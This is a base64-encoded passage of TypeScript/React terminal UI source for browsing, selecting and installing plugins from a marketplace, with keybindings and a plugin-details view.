IGZvdW5kUGx1Z2luID0gYWxsUGx1Z2lucy5maW5kKFxuICAgICAgICAgICAgcCA9PiBwLmVudHJ5Lm5hbWUgPT09IHRhcmdldFBsdWdpbixcbiAgICAgICAgICApXG5cbiAgICAgICAgICBpZiAoZm91bmRQbHVnaW4pIHtcbiAgICAgICAgICAgIGlmIChmb3VuZFBsdWdpbi5pc0luc3RhbGxlZCkge1xuICAgICAgICAgICAgICBzZXRFcnJvcihcbiAgICAgICAgICAgICAgICBgUGx1Z2luICcke2ZvdW5kUGx1Z2luLnBsdWdpbklkfScgaXMgYWxyZWFkeSBpbnN0YWxsZWQuIFVzZSAnL3BsdWdpbicgdG8gbWFuYWdlIGV4aXN0aW5nIHBsdWdpbnMuYCxcbiAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgc2V0U2VsZWN0ZWRQbHVnaW4oZm91bmRQbHVnaW4pXG4gICAgICAgICAgICAgIHNldFZpZXdTdGF0ZSgncGx1Z2luLWRldGFpbHMnKVxuICAgICAgICAgICAgfVxuICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBzZXRFcnJvcihgUGx1Z2luIFwiJHt0YXJnZXRQbHVnaW59XCIgbm90IGZvdW5kIGluIGFueSBtYXJrZXRwbGFjZWApXG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9IGNhdGNoIChlcnIpIHtcbiAgICAgICAgc2V0RXJyb3IoZXJyIGluc3RhbmNlb2YgRXJyb3IgPyBlcnIubWVzc2FnZSA6ICdGYWlsZWQgdG8gbG9hZCBwbHVnaW5zJylcbiAgICAgIH0gZmluYWxseSB7XG4gICAgICAgIHNldExvYWRpbmcoZmFsc2UpXG4gICAgICB9XG4gICAgfVxuICAgIHZvaWQgbG9hZEFsbFBsdWdpbnMoKVxuICB9LCBbc2V0RXJyb3IsIHRhcmdldFBsdWdpbl0pXG5cbiAgLy8gSW5zdGFsbCBzZWxlY3RlZCBwbHVnaW5zXG4gIGNvbnN0IGluc3RhbGxTZWxlY3RlZFBsdWdpbnMgPSBhc3luYyAoKSA9PiB7XG4gICAgaWYgKHNlbGVjdGVkRm9ySW5zdGFsbC5zaXplID09PSAwKSByZXR1cm5cblxuICAgIGNvbnN0IHBsdWdpbnNUb0luc3RhbGwgPSBhdmFpbGFibGVQbHVnaW5zLmZpbHRlcihwID0+XG4gICAgICBzZWxlY3RlZEZvckluc3RhbGwuaGFzKHAucGx1Z2luSWQpLFxuICAgIClcblxuICAgIHNldEluc3RhbGxpbmdQbHVnaW5zKG5ldyBTZXQocGx1Z2luc1RvSW5zdGFsbC5tYXAocCA9PiBwLnBsdWdpbklkKSkpXG5cbiAgICBsZXQgc3VjY2Vzc0NvdW50ID0gMFxuICAgIGxldCBmYWlsdXJlQ291bnQgPSAwXG4gICAgY29uc3QgbmV3RmFpbGVkUGx1Z2luczogQXJyYXk8eyBuYW1lOiBzdHJpbmc7IHJlYXNvbjogc3RyaW5nIH0+ID0gW11cblxuICAgIGZvciAoY29uc3QgcGx1Z2luIG9mIHBsdWdpbnNUb0luc3RhbGwpIHtcbiAgICAgIGNvbnN0IHJlc3VsdCA9IGF3YWl0IGluc3RhbGxQbHVnaW5Gcm9tTWFya2V0cGxhY2Uoe1xuICAgICAgICBwbHVnaW5JZDogcGx1Z2luLnBsdWdpbklkLFxuICAgICAgICBlbnRyeTogcGx1Z2luLmVudHJ5LFxuICAgICAgICBtYXJrZXRwbGFjZU5hbWU6IHBsdWdpbi5tYXJrZXRwbGFjZU5hbWUsXG4gICAgICAgIHNjb3BlOiAndXNlcicsXG4gICAgICB9KVxuXG4gICAgICBpZiAocmVzdWx0LnN1Y2Nlc3MpIHtcbiAgICAgICAgc3VjY2Vzc0NvdW50KytcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGZhaWx1cmVDb3VudCsrXG4gICAgICAgIG5ld0ZhaWxlZFBsdWdpbnMucHVzaCh7XG4gICAgICAgICAgbmFtZTogcGx1Z2luLmVudHJ5Lm5hbWUsXG4gICAgICAgICAgcmVhc29uOiByZXN1bHQuZXJyb3IsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuXG4gICAgc2V0SW5zdGFsbGluZ1BsdWdpbnMobmV3IFNldCgpKVxuICAgIHNldFNlbGVjdGVkRm9ySW5zdGFsbChuZXcgU2V0KCkpXG4gICAgY2xlYXJBbGxDYWNoZXMoKVxuXG4gICAgLy8gSGFuZGxlIGluc3RhbGxhdGlvbiByZXN1bHRzXG4gICAgaWYgKGZhaWx1cmVDb3VudCA9PT0gMCkge1xuICAgICAgY29uc3QgbWVzc2FnZSA9XG4gICAgICAgIGDinJMgSW5zdGFsbGVkICR7c3VjY2Vzc0NvdW50fSAke3BsdXJhbChzdWNjZXNzQ291bnQsICdwbHVnaW4nKX0uIGAgK1xuICAgICAgICBgUnVuIC9yZWxvYWQtcGx1Z2lucyB0byBhY3RpdmF0ZS5gXG4gICAgICBzZXRSZXN1bHQobWVzc2FnZSlcbiAgICB9IGVsc2UgaWYgKHN1Y2Nlc3NDb3VudCA9PT0gMCkge1xuICAgICAgc2V0RXJyb3IoXG4gICAgICAgIGBGYWlsZWQgdG8gaW5zdGFsbDogJHtmb3JtYXRGYWlsdXJlRGV0YWlscyhuZXdGYWlsZWRQbHVnaW5zLCB0cnVlKX1gLFxuICAgICAgKVxuICAgIH0gZWxzZSB7XG4gICAgICBjb25zdCBtZXNzYWdlID1cbiAgICAgICAgYOKckyBJbnN0YWxsZWQgJHtzdWNjZXNzQ291bnR9IG9mICR7c3VjY2Vzc0NvdW50ICsgZmFpbHVyZUNvdW50fSBwbHVnaW5zLiBgICtcbiAgICAgICAgYEZhaWxlZDogJHtmb3JtYXRGYWlsdXJlRGV0YWlscyhuZXdGYWlsZWRQbHVnaW5zLCBmYWxzZSl9LiBgICtcbiAgICAgICAgYFJ1biAvcmVsb2FkLXBsdWdpbnMgdG8gYWN0aXZhdGUgc3VjY2Vzc2Z1bGx5IGluc3RhbGxlZCBwbHVnaW5zLmBcbiAgICAgIHNldFJlc3VsdChtZXNzYWdlKVxuICAgIH1cblxuICAgIGlmIChzdWNjZXNzQ291bnQgPiAwKSB7XG4gICAgICBpZiAob25JbnN0YWxsQ29tcGxldGUpIHtcbiAgICAgICAgYXdhaXQgb25JbnN0YWxsQ29tcGxldGUoKVxuICAgICAgfVxuICAgIH1cblxuICAgIHNldFBhcmVudFZpZXdTdGF0ZSh7IHR5cGU6ICdtZW51JyB9KVxuICB9XG5cbiAgLy8gSW5zdGFsbCBzaW5nbGUgcGx1Z2luIGZyb20gZGV0YWlscyB2aWV3XG4gIGNvbnN0IGhhbmRsZVNpbmdsZVBsdWdpbkluc3RhbGwgPSBhc3luYyAoXG4gICAgcGx1Z2luOiBJbnN0YWxsYWJsZVBsdWdpbixcbiAgICBzY29wZTogJ3VzZXInIHwgJ3Byb2plY3QnIHwgJ2xvY2FsJyA9ICd1c2VyJyxcbiAgKSA9PiB7XG4gICAgc2V0SXNJbnN0YWxsaW5nKHRydWUpXG4gICAgc2V0SW5zdGFsbEVycm9yKG51bGwpXG5cbiAgICBjb25zdCByZXN1bHQgPSBhd2FpdCBpbnN0YWxsUGx1Z2luRnJvbU1hcmtldHBsYWNlKHtcbiAgICAgIHBsdWdpbklkOiBwbHVnaW4ucGx1Z2luSWQsXG4gICAgICBlbnRyeTogcGx1Z2luLmVudHJ5LFxuICAgICAgbWFya2V0cGxhY2VOYW1lOiBwbHVnaW4ubWFya2V0cGxhY2VOYW1lLFxuICAgICAgc2NvcGUsXG4gICAgfSlcblxuICAgIGlmIChyZXN1bHQuc3VjY2Vzcykge1xuICAgICAgY29uc3QgbG9hZGVkID0gYXdhaXQgZmluZFBsdWdpbk9wdGlvbnNUYXJnZXQocGx1Z2luLnBsdWdpbklkKVxuICAgICAgaWYgKGxvYWRlZCkge1xuICAgICAgICBzZXRJc0luc3RhbGxpbmcoZmFsc2UpXG4gICAgICAgIHNldFZpZXdTdGF0ZSh7XG4gICAgICAgICAgdHlwZTogJ3BsdWdpbi1vcHRpb25zJyxcbiAgICAgICAgICBwbHVnaW46IGxvYWRlZCxcbiAgICAgICAgICBwbHVnaW5JZDogcGx1Z2luLnBsdWdpbklkLFxuICAgICAgICB9KVxuICAgICAgICByZXR1cm5cbiAgICAgIH1cbiAgICAgIHNldFJlc3VsdChyZXN1bHQubWVzc2FnZSlcbiAgICAgIGlmIChvbkluc3RhbGxDb21wbGV0ZSkge1xuICAgICAgICBhd2FpdCBvbkluc3RhbGxDb21wbGV0ZSgpXG4gICAgICB9XG4gICAgICBzZXRQYXJlbnRWaWV3U3RhdGUoeyB0eXBlOiAnbWVudScgfSlcbiAgICB9IGVsc2Uge1xuICAgICAgc2V0SXNJbnN0YWxsaW5nKGZhbHNlKVxuICAgICAgc2V0SW5zdGFsbEVycm9yKHJlc3VsdC5lcnJvcilcbiAgICB9XG4gIH1cblxuICAvLyBIYW5kbGUgZXJyb3Igc3RhdGVcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAoZXJyb3IpIHtcbiAgICAgIHNldFJlc3VsdChlcnJvcilcbiAgICB9XG4gIH0sIFtlcnJvciwgc2V0UmVzdWx0XSlcblxuICAvLyBFc2NhcGUgaW4gcGx1Z2luLWRldGFpbHMgdmlldyAtIGdvIGJhY2sgdG8gcGx1Z2luLWxpc3RcbiAgdXNlS2V5YmluZGluZyhcbiAgICAnY29uZmlybTpubycsXG4gICAgKCkgPT4ge1xuICAgICAgc2V0Vmlld1N0YXRlKCdwbHVnaW4tbGlzdCcpXG4gICAgICBzZXRTZWxlY3RlZFBsdWdpbihudWxsKVxuICAgIH0sXG4gICAge1xuICAgICAgY29udGV4dDogJ0NvbmZpcm1hdGlvbicsXG4gICAgICBpc0FjdGl2ZTogdmlld1N0YXRlID09PSAncGx1Z2luLWRldGFpbHMnLFxuICAgIH0sXG4gIClcblxuICAvLyBFc2NhcGUgaW4gcGx1Z2luLWxpc3QgdmlldyAobm90IHNlYXJjaCBtb2RlKSAtIGV4aXQgdG8gcGFyZW50IG1lbnVcbiAgdXNlS2V5YmluZGluZyhcbiAgICAnY29uZmlybTpubycsXG4gICAgKCkgPT4ge1xuICAgICAgc2V0UGFyZW50Vmlld1N0YXRlKHsgdHlwZTogJ21lbnUnIH0pXG4gICAgfSxcbiAgICB7XG4gICAgICBjb250ZXh0OiAnQ29uZmlybWF0aW9uJyxcbiAgICAgIGlzQWN0aXZlOiB2aWV3U3RhdGUgPT09ICdwbHVnaW4tbGlzdCcgJiYgIWlzU2VhcmNoTW9kZSxcbiAgICB9LFxuICApXG5cbiAgLy8gSGFuZGxlIGVudGVyaW5nIHNlYXJjaCBtb2RlIChub24tZXNjYXBlIGtleXMpXG4gIHVzZUlucHV0KFxuICAgIChpbnB1dCwgX2tleSkgPT4ge1xuICAgICAgY29uc3Qga2V5SXNOb3RDdHJsT3JNZXRhID0gIV9rZXkuY3RybCAmJiAhX2tleS5tZXRhXG4gICAgICBpZiAoIWlzU2VhcmNoTW9kZSkge1xuICAgICAgICAvLyBFbnRlciBzZWFyY2ggbW9kZSB3aXRoICcvJyBvciBhbnkgcHJpbnRhYmxlIGNoYXJhY3RlclxuICAgICAgICBpZiAoaW5wdXQgPT09ICcvJyAmJiBrZXlJc05vdEN0cmxPck1ldGEpIHtcbiAgICAgICAgICBzZXRJc1NlYXJjaE1vZGUodHJ1ZSlcbiAgICAgICAgICBzZXRTZWFyY2hRdWVyeSgnJylcbiAgICAgICAgfSBlbHNlIGlmIChcbiAgICAgICAgICBrZXlJc05vdEN0cmxPck1ldGEgJiZcbiAgICAgICAgICBpbnB1dC5sZW5ndGggPiAwICYmXG4gICAgICAgICAgIS9eXFxzKyQvLnRlc3QoaW5wdXQpICYmXG4gICAgICAgICAgLy8gRG9uJ3QgZW50ZXIgc2VhcmNoIG1vZGUgZm9yIG5hdmlnYXRpb24ga2V5c1xuICAgICAgICAgIGlucHV0ICE9PSAnaicgJiZcbiAgICAgICAgICBpbnB1dCAhPT0gJ2snICYmXG4gICAgICAgICAgaW5wdXQgIT09ICdpJ1xuICAgICAgICApIHtcbiAgICAgICAgICBzZXRJc1NlYXJjaE1vZGUodHJ1ZSlcbiAgICAgICAgICBzZXRTZWFyY2hRdWVyeShpbnB1dClcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH0sXG4gICAgeyBpc0FjdGl2ZTogdmlld1N0YXRlID09PSAncGx1Z2luLWxpc3QnICYmICFsb2FkaW5nIH0sXG4gIClcblxuICAvLyBQbHVnaW4tbGlzdCBuYXZpZ2F0aW9uIChub24tc2VhcmNoIG1vZGUpXG4gIHVzZUtleWJpbmRpbmdzKFxuICAgIHtcbiAgICAgICdzZWxlY3Q6cHJldmlvdXMnOiAoKSA9PiB7XG4gICAgICAgIGlmIChzZWxlY3RlZEluZGV4ID09PSAwKSB7XG4gICAgICAgICAgc2V0SXNTZWFyY2hNb2RlKHRydWUpXG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgcGFnaW5hdGlvbi5oYW5kbGVTZWxlY3Rpb25DaGFuZ2Uoc2VsZWN0ZWRJbmRleCAtIDEsIHNldFNlbGVjdGVkSW5kZXgpXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAnc2VsZWN0Om5leHQnOiAoKSA9PiB7XG4gICAgICAgIGlmIChzZWxlY3RlZEluZGV4IDwgZmlsdGVyZWRQbHVnaW5zLmxlbmd0aCAtIDEpIHtcbiAgICAgICAgICBwYWdpbmF0aW9uLmhhbmRsZVNlbGVjdGlvbkNoYW5nZShzZWxlY3RlZEluZGV4ICsgMSwgc2V0U2VsZWN0ZWRJbmRleClcbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgICdzZWxlY3Q6YWNjZXB0JzogKCkgPT4ge1xuICAgICAgICBpZiAoXG4gICAgICAgICAgc2VsZWN0ZWRJbmRleCA9PT0gZmlsdGVyZWRQbHVnaW5zLmxlbmd0aCAmJlxuICAgICAgICAgIHNlbGVjdGVkRm9ySW5zdGFsbC5zaXplID4gMFxuICAgICAgICApIHtcbiAgICAgICAgICB2b2lkIGluc3RhbGxTZWxlY3RlZFBsdWdpbnMoKVxuICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkSW5kZXggPCBmaWx0ZXJlZFBsdWdpbnMubGVuZ3RoKSB7XG4gICAgICAgICAgY29uc3QgcGx1Z2luID0gZmlsdGVyZWRQbHVnaW5zW3NlbGVjdGVkSW5kZXhdXG4gICAgICAgICAgaWYgKHBsdWdpbikge1xuICAgICAgICAgICAgaWYgKHBsdWdpbi5pc0luc3RhbGxlZCkge1xuICAgICAgICAgICAgICBzZXRQYXJlbnRWaWV3U3RhdGUoe1xuICAgICAgICAgICAgICAgIHR5cGU6ICdtYW5hZ2UtcGx1Z2lucycsXG4gICAgICAgICAgICAgICAgdGFyZ2V0UGx1Z2luOiBwbHVnaW4uZW50cnkubmFtZSxcbiAgICAgICAgICAgICAgICB0YXJnZXRNYXJrZXRwbGFjZTogcGx1Z2luLm1hcmtldHBsYWNlTmFtZSxcbiAgICAgICAgICAgICAgfSlcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgIHNldFNlbGVjdGVkUGx1Z2luKHBsdWdpbilcbiAgICAgICAgICAgICAgc2V0Vmlld1N0YXRlKCdwbHVnaW4tZGV0YWlscycpXG4gICAgICAgICAgICAgIHNldERldGFpbHNNZW51SW5kZXgoMClcbiAgICAgICAgICAgICAgc2V0SW5zdGFsbEVycm9yKG51bGwpXG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9LFxuICAgIH0sXG4gICAge1xuICAgICAgY29udGV4dDogJ1NlbGVjdCcsXG4gICAgICBpc0FjdGl2ZTogdmlld1N0YXRlID09PSAncGx1Z2luLWxpc3QnICYmICFpc1NlYXJjaE1vZGUsXG4gICAgfSxcbiAgKVxuXG4gIHVzZUtleWJpbmRpbmdzKFxuICAgIHtcbiAgICAgICdwbHVnaW46dG9nZ2xlJzogKCkgPT4ge1xuICAgICAgICBpZiAoc2VsZWN0ZWRJbmRleCA8IGZpbHRlcmVkUGx1Z2lucy5sZW5ndGgpIHtcbiAgICAgICAgICBjb25zdCBwbHVnaW4gPSBmaWx0ZXJlZFBsdWdpbnNbc2VsZWN0ZWRJbmRleF1cbiAgICAgICAgICBpZiAocGx1Z2luICYmICFwbHVnaW4uaXNJbnN0YWxsZWQpIHtcbiAgICAgICAgICAgIGNvbnN0IG5ld1NlbGVjdGlvbiA9IG5ldyBTZXQoc2VsZWN0ZWRGb3JJbnN0YWxsKVxuICAgICAgICAgICAgaWYgKG5ld1NlbGVjdGlvbi5oYXMocGx1Z2luLnBsdWdpbklkKSkge1xuICAgICAgICAgICAgICBuZXdTZWxlY3Rpb24uZGVsZXRlKHBsdWdpbi5wbHVnaW5JZClcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgIG5ld1NlbGVjdGlvbi5hZGQocGx1Z2luLnBsdWdpbklkKVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgc2V0U2VsZWN0ZWRGb3JJbnN0YWxsKG5ld1NlbGVjdGlvbilcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAncGx1Z2luOmluc3RhbGwnOiAoKSA9PiB7XG4gICAgICAgIGlmIChzZWxlY3RlZEZvckluc3RhbGwuc2l6ZSA+IDApIHtcbiAgICAgICAgICB2b2lkIGluc3RhbGxTZWxlY3RlZFBsdWdpbnMoKVxuICAgICAgICB9XG4gICAgICB9LFxuICAgIH0sXG4gICAge1xuICAgICAgY29udGV4dDogJ1BsdWdpbicsXG4gICAgICBpc0FjdGl2ZTogdmlld1N0YXRlID09PSAncGx1Z2luLWxpc3QnICYmICFpc1NlYXJjaE1vZGUsXG4gICAgfSxcbiAgKVxuXG4gIC8vIFBsdWdpbi1kZXRhaWxzIG5hdmlnYXRpb25cbiAgY29uc3QgZGV0YWlsc01lbnVPcHRpb25zID0gUmVhY3QudXNlTWVtbygoKSA9PiB7XG4gICAgaWYgKCFzZWxlY3RlZFBsdWdpbikgcmV0dXJuIFtdXG4gICAgY29uc3QgaGFzSG9tZXBhZ2UgPSBzZWxlY3RlZFBsdWdpbi5lbnRyeS5ob21lcGFnZVxuICAgIGNvbnN0IGdpdGh1YlJlcG8gPSBleHRyYWN0R2l0SHViUmVwbyhzZWxlY3RlZFBsdWdpbilcbiAgICByZXR1cm4gYnVpbGRQbHVnaW5EZXRhaWxzTWVudU9wdGlvbnMoaGFzSG9tZXBhZ2UsIGdpdGh1YlJlcG8pXG4gIH0sIFtzZWxlY3RlZFBsdWdpbl0pXG5cbiAgdXNlS2V5YmluZGluZ3MoXG4gICAge1xuICAgICAgJ3NlbGVjdDpwcmV2aW91cyc6ICgpID0+IHtcbiAgICAgICAgaWYgKGRldGFpbHNNZW51SW5kZXggPiAwKSB7XG4gICAgICAgICAgc2V0RGV0YWlsc01lbnVJbmRleChkZXRhaWxzTWVudUluZGV4IC0gMSlcbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgICdzZWxlY3Q6bmV4dCc6ICgpID0+IHtcbiAgICAgICAgaWYgKGRldGFpbHNNZW51SW5kZXggPCBkZXRhaWxzTWVudU9wdGlvbnMubGVuZ3RoIC0gMSkge1xuICAgICAgICAgIHNldERldGFpbHNNZW51SW5kZXgoZGV0YWlsc01lbnVJbmRleCArIDEpXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgICAnc2VsZWN0OmFjY2VwdCc6ICgpID0+IHtcbiAgICAgICAgaWYgKCFzZWxlY3RlZFBsdWdpbikgcmV0dXJuXG4gICAgICAgIGNvbnN0IGFjdGlvbiA9IGRldGFpbHNNZW51T3B0aW9uc1tkZXRhaWxzTWVudUluZGV4XT8uYWN0aW9uXG4gICAgICAgIGNvbnN0IGhhc0hvbWVwYWdlID0gc2VsZWN0ZWRQbHVnaW4uZW50cnkuaG9tZXBhZ2VcbiAgICAgICAgY29uc3QgZ2l0aHViUmVwbyA9IGV4dHJhY3RHaXRIdWJSZXBvKHNlbGVjdGVkUGx1Z2luKVxuICAgICAgICBpZiAoYWN0aW9uID09PSAnaW5zdGFsbC11c2VyJykge1xuICAgICAgICAgIHZvaWQgaGFuZGxlU2luZ2xlUGx1Z2luSW5zdGFsbChzZWxlY3RlZFBsdWdpbiwgJ3VzZXInKVxuICAgICAgICB9IGVsc2UgaWYgKGFjdGlvbiA9PT0gJ2luc3RhbGwtcHJvamVjdCcpIHtcbiAgICAgICAgICB2b2lkIGhhbmRsZVNpbmdsZVBsdWdpbkluc3RhbGwoc2VsZWN0ZWRQbHVnaW4sICdwcm9qZWN0JylcbiAgICAgICAgfSBlbHNlIGlmIChhY3Rpb24gPT09ICdpbnN0YWxsLWxvY2FsJykge1xuICAgICAgICAgIHZvaWQgaGFuZGxlU2luZ2xlUGx1Z2luSW5zdGFsbChzZWxlY3RlZFBsdWdpbiwgJ2xvY2FsJylcbiAgICAgICAgfSBlbHNlIGlmIChhY3Rpb24gPT09ICdob21lcGFnZScgJiYgaGFzSG9tZXBhZ2UpIHtcbiAgICAgICAgICB2b2lkIG9wZW5Ccm93c2VyKGhhc0hvbWVwYWdlKVxuICAgICAgICB9IGVsc2UgaWYgKGFjdGlvbiA9PT0gJ2dpdGh1YicgJiYgZ2l0aHViUmVwbykge1xuICAgICAgICAgIHZvaWQgb3BlbkJyb3dzZXIoYGh0dHBzOi8vZ2l0aHViLmNvbS8ke2dpdGh1YlJlcG99YClcbiAgICAgICAgfSBlbHNlIGlmIChhY3Rpb24gPT09ICdiYWNrJykge1xuICAgICAgICAgIHNldFZpZXdTdGF0ZSgncGx1Z2luLWxpc3QnKVxuICAgICAgICAgIHNldFNlbGVjdGVkUGx1Z2luKG51bGwpXG4gICAgICAgIH1cbiAgICAgIH0sXG4gICAgfSxcbiAgICB7XG4gICAgICBjb250ZXh0OiAnU2VsZWN0JyxcbiAgICAgIGlzQWN0aXZlOiB2aWV3U3RhdGUgPT09ICdwbHVnaW4tZGV0YWlscycgJiYgISFzZWxlY3RlZFBsdWdpbixcbiAgICB9LFxuICApXG5cbiAgaWYgKHR5cGVvZiB2aWV3U3RhdGUgPT09ICdvYmplY3QnICYmIHZpZXdTdGF0ZS50eXBlID09PSAncGx1Z2luLW9wdGlvbnMnKSB7XG4gICAgY29uc3QgeyBwbHVnaW4sIHBsdWdpbklkIH0gPSB2aWV3U3RhdGVcbiAgICBmdW5jdGlvbiBmaW5pc2gobXNnOiBzdHJpbmcpOiB2b2lkIHtcbiAgICAgIHNldFJlc3VsdChtc2cpXG4gICAgICBpZiAob25JbnN0YWxsQ29tcGxldGUpIHtcbiAgICAgICAgdm9pZCBvbkluc3RhbGxDb21wbGV0ZSgpXG4gICAgICB9XG4gICAgICBzZXRQYXJlbnRWaWV3U3RhdGUoeyB0eXBlOiAnbWVudScgfSlcbiAgICB9XG4gICAgcmV0dXJuIChcbiAgICAgIDxQbHVnaW5PcHRpb25zRmxvd1xuICAgICAgICBwbHVnaW49e3BsdWdpbn1cbiAgICAgICAgcGx1Z2luSWQ9e3BsdWdpbklkfVxuICAgICAgICBvbkRvbmU9eyhvdXRjb21lLCBkZXRhaWwpID0+IHtcbiAgICAgICAgICBzd2l0Y2ggKG91dGNvbWUpIHtcbiAgICAgICAgICAgIGNhc2UgJ2NvbmZpZ3VyZWQnOlxuICAgICAgICAgICAgICBmaW5pc2goXG4gICAgICAgICAgICAgICAgYOKckyBJbnN0YWxsZWQgYW5kIGNvbmZpZ3VyZWQgJHtwbHVnaW4ubmFtZX0uIFJ1biAvcmVsb2FkLXBsdWdpbnMgdG8gYXBwbHkuYCxcbiAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICBicmVha1xuICAgICAgICAgICAgY2FzZSAnc2tpcHBlZCc6XG4gICAgICAgICAgICAgIGZpbmlzaChcbiAgICAgICAgICAgICAgICBg4pyTIEluc3RhbGxlZCAke3BsdWdpbi5uYW1lfS4gUnVuIC9yZWxvYWQtcGx1Z2lucyB0byBhcHBseS5gLFxuICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgIGJyZWFrXG4gICAgICAgICAgICBjYXNlICdlcnJvcic6XG4gICAgICAgICAgICAgIGZpbmlzaChgSW5zdGFsbGVkIGJ1dCBmYWlsZWQgdG8gc2F2ZSBjb25maWc6ICR7ZGV0YWlsfWApXG4gICAgICAgICAgICAgIGJyZWFrXG4gICAgICAgICAgfVxuICAgICAgICB9fVxuICAgICAgLz5cbiAgICApXG4gIH1cblxuICAvLyBMb2FkaW5nIHN0YXRlXG4gIGlmIChsb2FkaW5nKSB7XG4gICAgcmV0dXJuIDxUZXh0PkxvYWRpbmfigKY8L1RleHQ+XG4gIH1cblxuICAvLyBFcnJvciBzdGF0ZVxuICBpZiAoZXJyb3IpIHtcbiAgICByZXR1cm4gPFRleHQgY29sb3I9XCJlcnJvclwiPntlcnJvcn08L1RleHQ+XG4gIH1cblxuICAvLyBQbHVnaW4gZGV0YWlscyB2aWV3XG4gIGlmICh2aWV3U3RhdGUgPT09ICdwbHVnaW4tZGV0YWlscycgJiYgc2VsZWN0ZWRQbHVnaW4pIHtcbiAgICBjb25zdCBoYXNIb21lcGFnZSA9IHNlbGVjdGVkUGx1Z2luLmVudHJ5LmhvbWVwYWdlXG4gICAgY29uc3QgZ2l0aHViUmVwbyA9IGV4dHJhY3RHaXRIdWJSZXBvKHNlbGVjdGVkUGx1Z2luKVxuXG4gICAgY29uc3QgbWVudU9wdGlvbnMgPSBidWlsZFBsdWdpbkRldGFpbHNNZW51T3B0aW9ucyhoYXNIb21lcGFnZSwgZ2l0aHViUmVwbylcblxuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgPEJveCBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICAgIDxUZXh0IGJvbGQ+UGx1Z2luIGRldGFpbHM8L1RleHQ+XG4gICAgICAgIDwvQm94PlxuXG4gICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIG1hcmdpbkJvdHRvbT17MX0+XG4gICAgICAgICAgPFRleHQgYm9sZD57c2VsZWN0ZWRQbHVnaW4uZW50cnkubmFtZX08L1RleHQ+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+ZnJvbSB7c2VsZWN0ZWRQbHVnaW4ubWFya2V0cGxhY2VOYW1lfTwvVGV4dD5cbiAgICAgICAgICB7c2VsZWN0ZWRQbHVnaW4uZW50cnkudmVyc2lvbiAmJiAoXG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5WZXJzaW9uOiB7c2VsZWN0ZWRQbHVnaW4uZW50cnkudmVyc2lvbn08L1RleHQ+XG4gICAgICAgICAgKX1cbiAgICAgICAgICB7c2VsZWN0ZWRQbHVnaW4uZW50cnkuZGVzY3JpcHRpb24gJiYgKFxuICAgICAgICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICAgICAgICA8VGV4dD57c2VsZWN0ZWRQbHVnaW4uZW50cnkuZGVzY3JpcHRpb259PC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKX1cbiAgICAgICAgICB7c2VsZWN0ZWRQbHVnaW4uZW50cnkuYXV0aG9yICYmIChcbiAgICAgICAgICAgIDxCb3ggbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgICAgQnk6eycgJ31cbiAgICAgICAgICAgICAgICB7dHlwZW9mIHNlbGVjdGVkUGx1Z2luLmVudHJ5LmF1dGhvciA9PT0gJ3N0cmluZydcbiAgICAgICAgICAgICAgICAgID8gc2VsZWN0ZWRQbHVnaW4uZW50cnkuYXV0aG9yXG4gICAgICAgICAgICAgICAgICA6IHNlbGVjdGVkUGx1Z2luLmVudHJ5LmF1dGhvci5uYW1lfVxuICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICApfVxuICAgICAgICA8L0JveD5cblxuICAgICAgICA8UGx1Z2luVHJ1c3RXYXJuaW5nIC8+XG5cbiAgICAgICAge2luc3RhbGxFcnJvciAmJiAoXG4gICAgICAgICAgPEJveCBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPkVycm9yOiB7aW5zdGFsbEVycm9yfTwvVGV4dD5cbiAgICAgICAgICA8L0JveD5cbiAgICAgICAgKX1cblxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICB7bWVudU9wdGlvbnMubWFwKChvcHRpb24sIGluZGV4KSA9PiAoXG4gICAgICAgICAgICA8Qm94IGtleT17b3B0aW9uLmFjdGlvbn0+XG4gICAgICAgICAgICAgIHtkZXRhaWxzTWVudUluZGV4ID09PSBpbmRleCAmJiA8VGV4dD57Jz4gJ308L1RleHQ+fVxuICAgICAgICAgICAgICB7ZGV0YWlsc01lbnVJbmRleCAhPT0gaW5kZXggJiYgPFRleHQ+eycgICd9PC9UZXh0Pn1cbiAgICAgICAgICAgICAgPFRleHQgYm9sZD17ZGV0YWlsc01lbnVJbmRleCA9PT0gaW5kZXh9PlxuICAgICAgICAgICAgICAgIHtpc0luc3RhbGxpbmcgJiYgb3B0aW9uLmFjdGlvbi5zdGFydHNXaXRoKCdpbnN0YWxsLScpXG4gICAgICAgICAgICAgI